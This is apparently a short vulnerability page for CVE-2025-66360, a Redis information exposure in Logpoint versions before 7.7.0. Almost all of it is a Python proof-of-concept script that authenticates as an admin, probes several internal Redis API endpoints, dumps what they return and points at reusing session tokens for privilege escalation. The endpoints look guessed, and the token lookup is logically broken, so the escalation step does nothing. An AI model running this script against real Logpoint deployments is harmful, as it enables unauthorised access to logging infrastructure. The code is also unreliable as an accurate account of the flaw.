CVE-2025-66360 Logpoint 7.7.0前版本Redis服务信息泄露漏洞

import requests import json # CVE-2025-66360 PoC - Logpoint Redis Information Exposure # Target: Logpoint < 7.7.0 TARGET = "https://target-logpoint.example.com" USERNAME = "li_admin_user" PASSWORD = "password" def exploit_redis_exposure(): """Exploit CVE-2025-66360: Redis internal service information exposure""" # Step 1: Authenticate as li-admin user login_url = f"{TARGET}/api/v1/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None token = response.json().get('token') print(f"[+] Successfully authenticated as li-admin") # Step 2: Access exposed Redis internal endpoint redis_endpoints = [ "/api/v1/internal/redis/config", "/api/v1/internal/redis/keys", "/api/v1/internal/redis/cache", "/api/v1/system/redis/info" ] exposed_data = {} for endpoint in redis_endpoints: headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } response = session.get(f"{TARGET}{endpoint}", headers=headers, verify=False) if response.status_code == 200: print(f"[+] Exposed endpoint found: {endpoint}") exposed_data[endpoint] = response.json() # Step 3: Extract sensitive information print("\n[+] Extracted Redis Information:") print(json.dumps(exposed_data, indent=2)) # Step 4: Use exposed data for privilege escalation if exposed_data: session_token = exposed_data.get('session_tokens') or exposed_data.get('auth_tokens') if session_token: print(f"[+] Found session tokens for privilege escalation") # Use tokens to access admin functions return exposed_data if __name__ == "__main__": exploit_redis_exposure()